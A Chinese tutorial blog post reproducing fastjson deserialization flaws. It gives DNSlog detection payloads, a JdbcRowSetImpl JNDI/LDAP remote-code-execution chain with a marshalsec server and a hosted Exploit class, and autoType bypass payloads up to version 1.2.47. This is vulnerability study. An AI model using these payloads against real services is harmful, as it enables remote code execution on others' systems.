草庐IT

fastjson反序列化漏洞

夜yesir 2023-09-06 原文

1.fastjson反序列化漏洞原理

我们知道fastjson在进⾏反序列化时会调⽤⽬标对象的构造,setter,getter等⽅法,如果这些⽅法内部 进⾏了⼀些危险的操作时,那么fastjson在进⾏反序列化时就有可能会触发漏洞。 我们通过⼀个简单的案例来说明fastjson反序列化漏洞原理。

package src;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import java.io.IOException;
//定义⼀个恶意类TestTempletaHello
class TestTempletaHello {
    static {
        try {
            Runtime.getRuntime().exec("calc");
       } catch (IOException e) {
            e.printStackTrace();
       }
   }
}
public class FastjsonTest2 {
    public static void main(String[] args) {
        //创建恶意类的实例并转换成json字符串
        TestTempletaHello testTempletaHello = new TestTempletaHello();
        String jsonString = JSON.toJSONString(testTempletaHello,
SerializerFeature.WriteClassName);
        System.out.println(jsonString);
        //将json字符串转换成对象
        Object obj = JSON.parse(jsonString);
        System.out.println(obj);
   }
}

在这个示例程序中先是构造了⼀个恶意类,然后调⽤toJSONString⽅法序列化对象写⼊@type,将 @type指定为⼀个恶意的类TestTempletaHello的类全名,当调⽤parse⽅法对TestTempletaHello类进⾏ 反序列化时,会调⽤恶意类的构造⽅法创建实例对象,因此恶意类TestTempletaHello中的静态代码块中 就会被执⾏。 执⾏结果如下:

 

2.fastjson1.2.24漏洞复现

2.1dnslog检测是否存在漏洞

可以使⽤dnslog ceye 等dnslog平台进⾏漏洞测试

package src;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class FastTest {
    public static void main(String[] args) {
        String json1="{\"zeo\":
{\"@type\":\"java.net.Inet4Address\",\"val\":\"aaa.fooe50.ceye.io\"}}";
        JSONObject jsonObject= JSON.parseObject(json1);
   }
}

 

1.2.67版本后payload

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"这⾥是dnslog"}}

3.Fastjson<1.2.24远程代码执⾏(CNVD-2017-02833 )

漏洞详情

fastjson在解析json的过程中,⽀持使⽤autoType来实例化某⼀个具体的类,并调⽤该类的set/get⽅法 来访问属性。通过查找代码中相关的⽅法,即可构造出⼀些恶意利⽤链。

漏洞版本

fastjson <=1.2.24

漏洞利⽤

编写exp类

public class Exploit {
    static {
        try{
            String[] commands = {"calc"};
            Process pc=Runtime.getRuntime().exec(commands);
            pc.waitFor();
       }catch (Exception e){
            e.printStackTrace();
       }
   }
}

将编译好的放在服务器上 记得开启开web服务 在kali上可以使⽤

sudo python -m http.server 80

在kali上 marshalsec-0.0.3-SNAPSHOT-all开启jndi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://192.168.1.53:80/#Exploit 6666

在⽬标上执⾏

package sec;
import com.alibaba.fastjson.JSON;
public class FastjsonTest4 {
    public static void main(String[] args) {
        String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
\"dataSourceName\":\"ldap://192.168.1.53:6666/Exploit\",
\"autoCommit\":true}";
        JSON.parse(PoC);
   }
}

成功弹出计算器,注意防火墙的问题

JdbcRowSetImpl利⽤链POC

RMI利⽤的JDK版本≤ JDK 6u132、7u122、8u113

LADP利⽤JDK版本≤ 6u211 、7u201、8u191

1.2.25-1.2.41 绕过

修复改动

1.⾃从1.2.25 起 autotype 默认为False

2.增加 checkAutoType ⽅法,在该⽅法中进⾏⿊名单校验,同时增加⽩名单机制Fastjson AutoType说 明

package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class POC {
    public static void main(String[] args) {
       ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",
\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",
\"autoCommit\":true}";
        JSON.parse(PoC);
   }
}

1.2.42绕过

1.2.42 修复⽅式 修复改动:明⽂⿊名单改为HASH值, checkcheckAutoType ⽅法添加 L 和 ; 字符过滤

package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class POC {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",
\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",
\"autoCommit\":true}";
        JSON.parse(PoC);
   }
}

1.2.25-1.2.47通杀

为什么说这⾥标注为通杀呢,其实这⾥和前⾯的绕过⽅式不太⼀样,这⾥是可以直接绕过 AutoTypeSupport ,即便关闭 AutoTypeSupport 也能直接执⾏成功。。

package sec;
import com.alibaba.fastjson.JSON;
public class FastTestpoc {
        public static void main(String[] args) {
            String PoC = "{\n" +                "    \"a\":{\n" +        
       "        \"@type\":\"java.lang.Class\",\n" +                "    
   \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +                "  
},\n" +                "    \"b\":{\n" +                "      
\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +                "      
\"dataSourceName\":\"ldap://localhost:1389/badNameClass\",\n" +        
       "        \"autoCommit\":true\n" +                "    }\n" +      
         "}";
            System.out.println(PoC);
            JSON.parse(PoC);
       }
}
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
   },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/badNameClass",
        "autoCommit":true
   }
}

 

人心中混沌必有,才能孕育出星辰

有关fastjson反序列化漏洞的更多相关文章

  1. ruby - 是否有用于序列化和反序列化各种格式的对象层次结构的模式? - 2

    给定一个复杂的对象层次结构,幸运的是它不包含循环引用,我如何实现支持各种格式的序列化?我不是来讨论实际实现的。相反,我正在寻找可能会派上用场的设计模式提示。更准确地说:我正在使用Ruby,我想解析XML和JSON数据以构建复杂的对象层次结构。此外,应该可以将该层次结构序列化为JSON、XML和可能的HTML。我可以为此使用Builder模式吗?在任何提到的情况下,我都有某种结构化数据-无论是在内存中还是文本中-我想用它来构建其他东西。我认为将序列化逻辑与实际业务逻辑分开会很好,这样我以后就可以轻松支持多种XML格式。 最佳答案 我最

  2. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  3. ruby-on-rails - carrierwave:在序列化动态属性上安装 uploader - 2

    首先,我使用的是rails3.1.3和来自master的carrierwavegithub仓库的分支。我使用after_init钩子(Hook)来确定基于属性的字段页面模型实例并为这些字段定义属性访问器将值存储在序列化哈希中(希望它清楚我是什么谈论)。这是我正在做的事情的精简版:classPage省略mount_uploader命令让我可以访问我想要的属性。但是当我安装uploader时出现错误消息说“nil类的未定义新方法”我在源代码中读到有方法read_uploader和扩展模块中的write_uploader。我如何必须覆盖这些来制作mount_uploader命令使用我的“虚拟

  4. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  5. ruby-on-rails - Rails 编辑序列化的 JSON 数据 - 2

    我有一个存储JSON数据的列。当它处于编辑状态时,我不知道如何显示它。serialize:value,JSON=f.fields_for:valuedo|ff|.form-group=ff.label:short=ff.text_field:short,class:'form-control'.form-group=ff.label:long=ff.text_field:long,class:'form-control' 最佳答案 代替=f.fields_for:valuedo|ff|请使用以下代码:=f.fields_for:va

  6. ruby-on-rails - 序列化时无法将空数组保存到数据库 - 2

    在RubyonRails中,如果数组为空,则具有序列化数组字段的模型将不会在.save()上更新,而它之前有数据。我正在使用:ruby2.2.1rails4.2.1sqlite31.3.10我创建了一个字段设置为文本的新模型:railsgmodel用户名:stringexample:text在我添加的User.rb文件中:serialize:example,Array我实例化了User类的一个新实例:test=User.new然后我保存用户以确保它正确保存:test.save()(0.1ms)begintransactionSQL(0.4ms)INSERTINTO"users"("cr

  7. ruby - 加载使用 YAML 序列化的对象时调用初始化 - 2

    是否可以在使用YAML.load_file时强制Ruby调用初始化方法?我想调用该方法以便为我不序列化的实例变量提供值。我知道我可以将代码分解成一个单独的方法并在调用YAML.load_file之后调用该方法,但我想知道是否有更优雅的方法来处理这个问题。 最佳答案 我认为你做不到。由于您要添加的代码确实特定于要反序列化的类,因此您应该考虑在类中添加该功能。例如,让Foo成为您要反序列化的类,您可以添加一个类方法,例如:classFoodefself.from_yaml(yaml)foo=YAML::load(yaml)#editth

  8. ruby-on-rails - JSON 到 ActiveRecord(反序列化) - 2

    我正在使用Ruby、Grape和ActiveRecord构建一个网络API。来自ASP.NETWebAPI我习惯于从JSON到类对象的自动模型绑定(bind),然后可以使用EntityFramework保存。我一直在搜索一下,看看在使用ActiveRecord时是否有类似的东西,但没有发现任何让我觉得我遗漏了一些非常明显的东西。将JSON反序列化为ActiveRecord模型的最佳方法是什么?更新Matts回答对简单类型非常有效,但是当我有关联时,我收到以下错误:ActiveRecord::AssociationTypeMismatch:Connector(#7029771166878

  9. ruby - 使用内置的 Ruby JSON 库反序列化 JSON 原语 - 2

    为什么Ruby的内置JSON不能反序列化简单的JSON原语,我该如何解决这个问题?irb(main):001:0>require'json'#=>trueirb(main):002:0>objects=[{},[],42,"",true,nil]#=>[{},[],42,"",true]irb(main):012:0>objects.eachdo|o|irb(main):013:1*json=o.to_jsonirb(main):014:1>beginirb(main):015:2*pJSON.parse(json)irb(main):016:2>rescueException=>ei

  10. ruby-on-rails - 将 Rails Form Helpers 与序列化的自定义类一起使用 - 2

    我试图在单个数据库字段中保存选项的散列。该表单能够将数据保存到数据库,但当我去编辑它时无法再次检索它(例如,除了wp_options字段之外,所有其他字段都已预填充)。classProfile这是我的自定义类:classWP_Optionsattr_accessor:wp_name,:wp_desc,:wp_limitend在我的表单中:true)do|f|%>......在我的Controller中:@profile=Profile.new(:wp_options=>WP_Options.new)在我的数据库列“wp_options”中:---!map:ActiveSupport::

随机推荐